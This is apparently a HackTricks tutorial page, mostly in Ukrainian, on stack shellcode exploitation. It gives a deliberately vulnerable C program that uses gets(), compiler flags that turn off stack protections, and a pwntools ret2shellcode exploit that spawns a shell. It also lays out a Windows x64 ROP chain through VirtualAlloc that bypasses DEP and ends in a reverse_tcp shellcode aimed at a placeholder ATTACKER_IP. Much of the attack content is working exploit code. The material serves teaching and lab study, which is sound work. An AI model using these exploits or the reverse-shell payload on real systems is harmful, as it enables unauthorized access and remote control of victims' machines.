Stack Shellcode

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Stack shellcode — це техніка, що використовується в binary exploitation, коли атакуючий записує shellcode у стек вразливої програми, а потім змінює Instruction Pointer (IP) або Extended Instruction Pointer (EIP) так, щоб він вказував на розташування цього shellcode, змушуючи його виконатися. Це класичний метод для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Нижче наведено розбір процесу, включно з простим прикладом на C та тим, як можна написати відповідний exploit на Python з використанням pwntools.

Приклад на C: вразлива програма

Почнемо з простого прикладу вразливої програми на C:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ця програма вразлива до переповнення буфера через використання функції gets().

Компіляція

Щоб скомпілювати цю програму з відключенням різних захисних механізмів (щоб змоделювати вразливе середовище), можна використати наступну команду:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Вимикає захист стеку.
  • -z execstack: Робить stack виконуваним, що необхідно для виконання shellcode, розміщеного в ньому.
  • -no-pie: Вимикає Position Independent Executable, що полегшує передбачення адреси пам'яті, де буде розміщено наш shellcode.
  • -m32: Компілірує програму як 32-бітний виконуваний файл, часто використовується для спрощення exploit development.

Python Exploit using Pwntools

Нижче показано, як можна написати exploit на Python з використанням pwntools для виконання атаки ret2shellcode:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Цей скрипт будує payload, що складається з NOP slide, shellcode, а потім перезаписує EIP адресою, яка вказує на NOP slide, гарантуючи виконання shellcode.

The NOP slide (asm('nop')) використовується, щоб підвищити ймовірність того, що виконання "з'їде" в наш shellcode незалежно від точної адреси. Відкоригуйте аргумент p32() до стартової адреси вашого buffer плюс offset, щоб потрапити в NOP slide.

Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)

На сучасних Windows стек не є виконуваним (DEP/NX). Звичайний спосіб все ж виконати shellcode, розташований у стеці після stack BOF — це збудувати 64-bit ROP chain, який викликає VirtualAlloc (або VirtualProtect) з Import Address Table (IAT) модуля, щоб зробити ділянку стеку виконуваною, а потім повернутися в shellcode, доданий після ланцюга.

Key points (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → виберіть адресу в поточному stack (наприклад, RSP), щоб новостворений RWX регіон перекривав ваш payload
  • RDX = dwSize → достатній для вашого chain + shellcode (наприклад, 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Minimal strategy:

  1. Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
  2. Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
  3. Place stage-2 shellcode immediately after the chain.

Example layout (conceptual):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

Маючи обмежений набір gadget'ів, можна непрямо сформувати значення регістрів, наприклад:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → встановлює r9 із rbx, занулює r8 і компенсує стек зайвим qword.
  • xor rbx, rsp; ret → ініціалізує rbx поточним значенням rsp.
  • push rbx; pop rax; mov rcx, rax; ret → перемістити значення, похідне від RSP, у RCX.

Приклад для Pwntools (за наявності відомої base та gadgets):

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

Поради:

  • VirtualProtect працює подібно, якщо надання існуючому буферу RX є бажанішим; порядок параметрів відрізняється.

  • Якщо місця в стеку мало, виділіть RWX в іншому місці (RCX=NULL) і jmp до цього нового регіону замість повторного використання стеку.

  • Завжди враховуйте гаджети, що змінюють RSP (e.g., add rsp, 8; ret), вставляючи junk qwords.

  • ASLR повинен бути вимкнений для того, щоб адреса була надійною між виконаннями, інакше адреса, куди буде збережена функція, не завжди буде однаковою і вам знадобиться якийсь leak, щоб з’ясувати, де завантажена win function.

  • Stack Canaries повинні бути також вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.

  • NX stack захист запобіг би виконанню shellcode всередині стеку, оскільки цей регіон не буде виконуваним.

Інші приклади та референси

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks